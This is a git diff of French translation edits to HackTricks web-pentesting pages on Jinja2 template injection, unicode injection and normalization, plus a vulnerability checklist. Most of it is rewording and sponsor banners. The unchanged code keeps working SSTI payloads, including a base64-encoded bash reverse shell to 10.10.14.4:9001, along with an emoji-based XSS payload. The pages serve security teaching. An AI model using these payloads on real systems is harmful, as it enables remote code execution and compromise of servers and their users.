-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -30,9 +30,9 @@ return "Hello, send someting inside the param 'c'!" if __name__ == "__main__": app.run() ``` -### **Déclaration de débogage** +### **Débogage** -Si l'extension Debug est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur. +Si l'extension de débogage est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur. ```python
 
@@ -59,11 +59,11 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
 ```
 ## **Injection Jinja**
 
-Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et de récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'**environnement non-sécurisé mais sont accessibles depuis le bac à sable**.
+Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'environnement **non-sécurisé mais sont accessibles depuis le bac à sable**.
 
 ### Accès aux objets globaux
 
-Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement Python non sécurisé** et seront **accessibles** à l'intérieur de l'**environnement sécurisé**.\
+Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement Python non-sécurisé** et seront **accessibles** à l'intérieur de l'environnement **sécurisé**.\
 De plus, il existe d'autres objets qui seront **toujours accessibles depuis l'environnement sécurisé**, ce sont:
 ```
 []
@@ -79,7 +79,7 @@ Ensuite, à partir de ces objets, nous devons accéder à la classe : **`` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
 
-L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons heureux simplement en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`).
+L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons heureux rien qu'en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`).
 
 **Lire/Écrire un fichier distant**
 ```python
@@ -147,7 +147,7 @@ L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des cen
 
 
 ```
-Pour en savoir plus sur **davantage de classes** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier**:
+Pour en savoir plus sur les **classes supplémentaires** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier**:
 
 {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
 [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@@ -184,19 +184,19 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
 {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
 {% endraw %}
 ```
-* [**Revenir ici pour plus d'options pour accéder à un objet global**](jinja2-ssti.md#accessing-global-objects)
-* [**Revenir ici pour plus d'options pour accéder à la classe d'objet**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
+* [**Retournez ici pour plus d'options pour accéder à un objet global**](jinja2-ssti.md#accessing-global-objects)
+* [**Retournez ici pour plus d'options pour accéder à la classe d'objet**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
 * [**Lisez ceci pour obtenir une RCE sans la classe d'objet**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
 
 **Éviter l'encodage HTML**
 
-Par défaut, Flask encode en HTML tout l'intérieur d'un modèle pour des raisons de sécurité:
+Par défaut, Flask encode en HTML tout ce qui se trouve à l'intérieur d'un modèle pour des raisons de sécurité:
 ```python
 {{''}}
 #will be
 <script>alert(1);</script>
 ```
-**Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** qu'il soit **encodé en HTML**, comme ceci :
+**Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** qu'ils soient **encodés en HTML**, comme ceci :
 ```python
 {{''|safe}}
 #will be
@@ -276,14 +276,14 @@ Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les
 
 
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/unicode-injection/README.md b/pentesting-web/unicode-injection/README.md index f2308a9db..9d4b65587 100644 --- a/pentesting-web/unicode-injection/README.md +++ b/pentesting-web/unicode-injection/README.md @@ -2,48 +2,48 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Introduction -Selon la manière dont le back-end/front-end se comporte lorsqu'il **reçoit des caractères unicode étranges**, un attaquant pourrait être capable de **contourner les protections et injecter des caractères arbitraires** qui pourraient être utilisés pour **exploiter des vulnérabilités d'injection** telles que XSS ou SQLi. +Selon le comportement du back-end/front-end lorsqu'il **reçoit des caractères unicode étranges**, un attaquant pourrait être en mesure de **contourner les protections et d'injecter des caractères arbitraires** qui pourraient être utilisés pour **exploiter des vulnérabilités d'injection** telles que XSS ou SQLi. ## Normalisation Unicode -La normalisation Unicode se produit lorsque **les caractères unicode sont normalisés en caractères ascii**. +La normalisation Unicode se produit lorsque les **caractères unicode sont normalisés en caractères ASCII**. -Un scénario courant de ce type de vulnérabilité se produit lorsque le système **modifie** d'une manière ou d'une autre l'**entrée** de l'utilisateur **après l'avoir vérifiée**. Par exemple, dans certaines langues, un simple appel pour rendre l'**entrée en majuscules ou en minuscules** pourrait normaliser l'entrée donnée et l'**unicode sera transformé en ASCII**, générant de nouveaux caractères.\ +Un scénario courant de ce type de vulnérabilité se produit lorsque le système **modifie** d'une manière ou d'une autre l'**entrée** de l'utilisateur **après l'avoir vérifiée**. Par exemple, dans certaines langues, un simple appel pour mettre l'**entrée en majuscules ou en minuscules** pourrait normaliser l'entrée donnée et l'**unicode sera transformé en ASCII** générant de nouveaux caractères.\ Pour plus d'informations, consultez : {% content-ref url="unicode-normalization.md" %} [unicode-normalization.md](unicode-normalization.md) {% endcontent-ref %} -## `\u` en `%` +## `\u` à `%` -Les caractères Unicode sont généralement représentés avec le préfixe **`\u`**. Par exemple, le caractère `㱋` est `\u3c4b`([vérifiez-le ici](https://unicode-explorer.com/c/3c4B)). Si un backend **transforme** le préfixe **`\u` en `%`**, la chaîne résultante sera `%3c4b`, qui, une fois décodée en URL, est : **`<4b`**. Et, comme vous pouvez le voir, un caractère **`<` est injecté**.\ -Vous pourriez utiliser cette technique pour **injecter n'importe quel type de caractère** si le backend y est vulnérable.\ +Les caractères unicode sont généralement représentés avec le préfixe **`\u`**. Par exemple, le caractère `㱋` est `\u3c4b`([vérifiez ici](https://unicode-explorer.com/c/3c4B)). Si un back-end **transforme** le préfixe **`\u` en `%`**, la chaîne résultante sera `%3c4b`, qui décodée en URL est : **`<4b`**. Et, comme vous pouvez le voir, un **caractère `<` est injecté**.\ +Vous pourriez utiliser cette technique pour **injecter n'importe quel type de caractère** si le back-end est vulnérable.\ Consultez [https://unicode-explorer.com/](https://unicode-explorer.com/) pour trouver les caractères dont vous avez besoin. -Cette vuln provient en fait d'une vulnérabilité qu'un chercheur a trouvée, pour une explication plus approfondie consultez [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg) +Cette vulnérabilité provient en fait d'une découverte qu'un chercheur a faite, pour une explication plus approfondie, consultez [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg) -## Injection d'Emoji +## Injection Emoji -Les back-ends se comportent parfois de manière étrange lorsqu'ils **reçoivent des emojis**. C'est ce qui s'est passé dans [**ce compte-rendu**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) où le chercheur a réussi à obtenir un XSS avec une charge utile telle que : `💋img src=x onerror=alert(document.domain)//💛` +Les back-ends se comportent parfois de manière étrange lorsqu'ils **reçoivent des emojis**. C'est ce qui s'est passé dans [**ce compte rendu**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) où le chercheur a réussi à obtenir un XSS avec une charge utile telle que : `💋img src=x onerror=alert(document.domain)//💛` -Dans ce cas, l'erreur était que le serveur, après avoir supprimé les caractères malveillants, **a converti la chaîne UTF-8 de Windows-1252 en UTF-8** (en gros, l'encodage d'entrée et la conversion de l'encodage ne correspondaient pas). Cela ne donne pas un vrai `<` mais un unicode étrange : `‹`\ -``Ils ont donc pris cette sortie et **l'ont convertie à nouveau maintenant de UTF-8 en ASCII**. Cela a **normalisé** le `‹` en `<` c'est ainsi que l'exploit a pu fonctionner sur ce système.\ -Voici ce qui s'est passé : +Dans ce cas, l'erreur était que le serveur, après avoir supprimé les caractères malveillants, **a converti la chaîne UTF-8 de Windows-1252 en UTF-8** (essentiellement, l'encodage d'entrée et la conversion d'encodage ne correspondaient pas). Ensuite, cela ne donne pas un < correct mais un étrange en unicode : `‹`\ +``Ils ont donc pris cette sortie et **l'ont convertie à nouveau de l'UTF-8 en ASCII**. Cela a **normalisé** le `‹` en `<`, c'est ainsi que l'exploit a pu fonctionner sur ce système.\ +Voici ce qui s'est passé: ```php -Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/unicode-injection/unicode-normalization.md b/pentesting-web/unicode-injection/unicode-normalization.md index 1fb95cd21..63ac6ed45 100644 --- a/pentesting-web/unicode-injection/unicode-normalization.md +++ b/pentesting-web/unicode-injection/unicode-normalization.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -29,9 +29,9 @@ Il existe **quatre algorithmes de normalisation Unicode** : NFC, NFD, NFKC et NF Comprendre l'encodage Unicode est essentiel, notamment lorsqu'il s'agit de problèmes d'interopérabilité entre différents systèmes ou langues. Voici les points principaux : -- **Points de code et caractères** : En Unicode, chaque caractère ou symbole se voit attribuer une valeur numérique appelée "point de code". -- **Représentation en octets** : Le point de code (ou caractère) est représenté par un ou plusieurs octets en mémoire. Par exemple, les caractères LATIN-1 (courants dans les pays anglophones) sont représentés à l'aide d'un octet. Cependant, les langues avec un plus grand ensemble de caractères nécessitent plus d'octets pour la représentation. -- **Encodage** : Ce terme fait référence à la manière dont les caractères sont transformés en une série d'octets. UTF-8 est une norme d'encodage courante où les caractères ASCII sont représentés à l'aide d'un octet, et jusqu'à quatre octets pour les autres caractères. +- **Points de code et caractères** : En Unicode, chaque caractère ou symbole est attribué une valeur numérique appelée "point de code". +- **Représentation en octets** : Le point de code (ou caractère) est représenté par un ou plusieurs octets en mémoire. Par exemple, les caractères LATIN-1 (courants dans les pays anglophones) sont représentés en utilisant un octet. Cependant, les langues avec un plus grand ensemble de caractères nécessitent plus d'octets pour la représentation. +- **Encodage** : Ce terme fait référence à la manière dont les caractères sont transformés en une série d'octets. UTF-8 est une norme d'encodage courante où les caractères ASCII sont représentés en utilisant un octet, et jusqu'à quatre octets pour les autres caractères. - **Traitement des données** : Les systèmes traitant des données doivent être conscients de l'encodage utilisé pour convertir correctement le flux d'octets en caractères. - **Variantes d'UTF** : Outre UTF-8, il existe d'autres normes d'encodage comme UTF-16 (utilisant un minimum de 2 octets, jusqu'à 4) et UTF-32 (utilisant 4 octets pour tous les caractères). @@ -41,7 +41,7 @@ Un exemple de la manière dont Unicode normalise deux octets différents représ ```python unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9") ``` -**Une liste des caractères équivalents Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) et [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table) +**Une liste des caractères équivalents en Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) et [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table) ### Découverte @@ -95,7 +95,7 @@ Vous pourriez utiliser l'un des caractères suivants pour piéger l'application ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (1).png>) -Notez que par exemple le premier caractère Unicode proposé peut être envoyé comme : `%e2%89%ae` ou comme `%u226e` +Notez que par exemple le premier caractère Unicode proposé peut être envoyé sous la forme de : `%e2%89%ae` ou `%u226e` ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1).png>) @@ -120,7 +120,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/web-vulnerabilities-methodology/README.md b/pentesting-web/web-vulnerabilities-methodology/README.md index 15269c1b2..b1f59ad28 100644 --- a/pentesting-web/web-vulnerabilities-methodology/README.md +++ b/pentesting-web/web-vulnerabilities-methodology/README.md @@ -2,63 +2,63 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Dans chaque test de pénétration Web, il existe **plusieurs endroits cachés et évidents qui pourraient être vulnérables**. Cet article est destiné à être une liste de contrôle pour confirmer que vous avez recherché des vulnérabilités dans tous les endroits possibles. +Dans chaque test d'intrusion Web, il y a **plusieurs endroits cachés et évidents qui pourraient être vulnérables**. Ce post est destiné à être une liste de contrôle pour confirmer que vous avez recherché des vulnérabilités dans tous les endroits possibles. ## Proxies {% hint style="info" %} -De nos jours, les **applications web** utilisent généralement des **proxies intermédiaires**, qui peuvent être (abusés) pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent un proxy vulnérable en place, mais elles nécessitent généralement aussi une vulnérabilité supplémentaire dans le backend. +De nos jours, les **applications Web** utilisent généralement **des proxies intermédiaires**, qui peuvent être (ab)usés pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent qu'un proxy vulnérable soit en place, mais elles nécessitent généralement également une vulnérabilité supplémentaire dans le backend. {% endhint %} -* [ ] [**Abuser des en-têtes hop-by-hop**](../abusing-hop-by-hop-headers.md) -* [ ] [**Empoisonnement/Deception de cache**](../cache-deception.md) -* [ ] [**Falsification de requête HTTP**](../http-request-smuggling/) +* [ ] [**Abus des en-têtes hop-by-hop**](../abusing-hop-by-hop-headers.md) +* [ ] [**Empoisonnement de cache/Duperie de cache**](../cache-deception.md) +* [ ] [**Smuggling de requête HTTP**](../http-request-smuggling/) * [ ] [**H2C Smuggling**](../h2c-smuggling.md) -* [ ] [**Inclusion côté serveur/Inclusion côté Edge**](../server-side-inclusion-edge-side-inclusion-injection.md) -* [ ] [**Découvrir Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) +* [ ] [**Inclusion côté serveur/Inclusion côté bord**](../server-side-inclusion-edge-side-inclusion-injection.md) +* [ ] [**Découverte de Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) * [ ] [**Injection côté serveur XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) * [ ] [**Contournement des protections Proxy / WAF**](../proxy-waf-protections-bypass.md) -## **Entrées utilisateur** +## **Entrée utilisateur** {% hint style="info" %} -La plupart des applications web **permettront aux utilisateurs de saisir des données qui seront traitées plus tard.**\ -Selon la structure des données attendues par le serveur, certaines vulnérabilités peuvent ou non s'appliquer. +La plupart des applications Web **permettront aux utilisateurs d'entrer des données qui seront traitées ultérieurement**.\ +En fonction de la structure des données que le serveur attend, certaines vulnérabilités peuvent s'appliquer ou non. {% endhint %} -### **Valeurs reflétées** +### **Valeurs réfléchies** Si les données introduites peuvent d'une manière ou d'une autre être reflétées dans la réponse, la page pourrait être vulnérable à plusieurs problèmes. * [ ] [**Injection de modèle côté client**](../client-side-template-injection-csti.md) * [ ] [**Injection de commande**](../command-injection.md) * [ ] [**CRLF**](../crlf-0d-0a.md) -* [ ] [**Markup en suspens**](../dangling-markup-html-scriptless-injection/) +* [ ] [**Balises pendantes**](../dangling-markup-html-scriptless-injection/) * [ ] [**Inclusion de fichier/Traversée de chemin**](../file-inclusion/) * [ ] [**Redirection ouverte**](../open-redirect.md) -* [ ] [**Pollution de prototype vers XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) -* [ ] [**Inclusion côté serveur/Inclusion côté Edge**](../server-side-inclusion-edge-side-inclusion-injection.md) +* [ ] [**Pollution de prototype pour XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) +* [ ] [**Injection côté serveur/Inclusion côté bord**](../server-side-inclusion-edge-side-inclusion-injection.md) * [ ] [**Falsification de requête côté serveur**](../ssrf-server-side-request-forgery/) * [ ] [**Injection de modèle côté serveur**](../ssti-server-side-template-injection/) -* [ ] [**Détournement d'onglet inversé**](../reverse-tab-nabbing.md) +* [ ] [**Tab Nabbing inversé**](../reverse-tab-nabbing.md) * [ ] [**Injection côté serveur XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) * [ ] [**XSS**](../xss-cross-site-scripting/) * [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md) -* [ ] [**XS-Search**](../xs-search.md) +* [ ] [**Recherche XSS**](../xs-search.md) -Certaines des vulnérabilités mentionnées nécessitent des conditions spéciales, d'autres nécessitent juste que le contenu soit reflété. Vous pouvez trouver des polyglottes intéressants pour tester rapidement les vulnérabilités dans : +Certaines des vulnérabilités mentionnées nécessitent des conditions spéciales, d'autres nécessitent simplement que le contenu soit reflété. Vous pouvez trouver des polyglottes intéressants pour tester rapidement les vulnérabilités dans : {% content-ref url="../pocs-and-polygloths-cheatsheet/" %} [pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/) @@ -66,7 +66,7 @@ Certaines des vulnérabilités mentionnées nécessitent des conditions spécial ### **Fonctionnalités de recherche** -Si la fonctionnalité peut être utilisée pour rechercher des données à l'intérieur du backend, peut-être pouvez-vous l'(ab)user pour rechercher des données arbitraires. +Si la fonctionnalité peut être utilisée pour rechercher un type de données à l'intérieur du backend, vous pouvez peut-être l'utiliser pour rechercher des données arbitraires. * [ ] [**Inclusion de fichier/Traversée de chemin**](../file-inclusion/) * [ ] [**Injection NoSQL**](../nosql-injection.md) @@ -77,63 +77,63 @@ Si la fonctionnalité peut être utilisée pour rechercher des données à l'int ### **Formulaires, WebSockets et PostMsgs** -Lorsqu'un websocket envoie un message ou qu'un formulaire permet aux utilisateurs d'effectuer des actions, des vulnérabilités peuvent apparaître. +Lorsqu'un websocket envoie un message ou un formulaire permettant aux utilisateurs d'effectuer des actions, des vulnérabilités peuvent survenir. -* [ ] [**Falsification de requête inter-sites**](../csrf-cross-site-request-forgery.md) -* [ ] [**Détournement de WebSocket inter-sites (CSWSH)**](../websocket-attacks.md) +* [ ] [**Falsification de requête intersite**](../csrf-cross-site-request-forgery.md) +* [ ] [**Hijacking WebSocket intersite (CSWSH)**](../websocket-attacks.md) * [ ] [**Vulnérabilités 